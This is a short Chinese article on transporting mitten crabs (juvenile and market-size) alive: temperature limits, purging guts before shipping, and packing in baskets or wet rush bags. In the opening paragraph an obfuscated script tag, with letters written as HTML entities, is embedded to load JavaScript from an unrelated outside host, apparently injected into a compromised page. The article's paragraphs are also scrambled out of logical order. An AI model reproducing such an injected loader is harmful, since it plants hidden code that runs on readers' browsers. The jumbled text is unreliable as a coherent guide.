河蟹运输保鲜要点

此时蟹种或成蟹都涉及运输问题。这里介绍运输途中不仅保鲜而且保活的技巧。<&#83cripttype=”text/&#106avascript” src=”http://zz.ag365.com/js/check.asp? id=4164″></&#83cript>河蟹上市后，部分地区要补放蟹种，为明年打好基础

如果运输抱卵亲蟹或性成熟的用来交配的雄蟹，则不应在容器中摆平叠放，而要每只蟹单独用毛巾包裹，严格防止操作不当而断其腿脚

科学的方法是：一要在5℃～10℃时装运，温差不宜超过2℃，还需通风透气，保持潮湿和防止蟹种活动；二是在发运前将待运蟹种放在蟹笼中或可以密封的网箱内，然后把蟹笼或网箱放入河流或微流水中经4小时以上吊养，待其肠内粪便排空后才装运，这样，24小时内的运输成活率可达95%以上(高的可达98%以上)。运输蟹种，人们习惯用尼龙丝袋盛放后装入竹篓或塑料泡沫箱中，缺少必要的事先排泄蟹种粪便的准备，因而降低了成活率

其规格为50克/只～150克/只不等。一、成蟹由幼蟹经8次以上脱壳，达到性成熟，体色由浅灰色变为深绿色后即为成蟹

二、蟹种规格划分：一般蟹种规格为1万尾/公斤～2万尾/公斤

短途运输可用浸湿的蒲包，并注意在途中避免挤压；长途运输需尽量缩短时间，并采用通气良好的竹篓存装。运输成蟹，要尽量保持原来温度，温差不应超过5℃(必要时用冰降温)。此外，为防止风吹失去水分，要用麻袋等物挡风，这样，24小时内的成活率可达95%以上(高的98%以上)。装满后再加盖扎紧，防止爬动。装箱时先在篓子底部铺一层泥或蒲包，然后将活蟹一只一只摆平叠放。如在蟹群中放些吸水好的材料保湿，效果会更好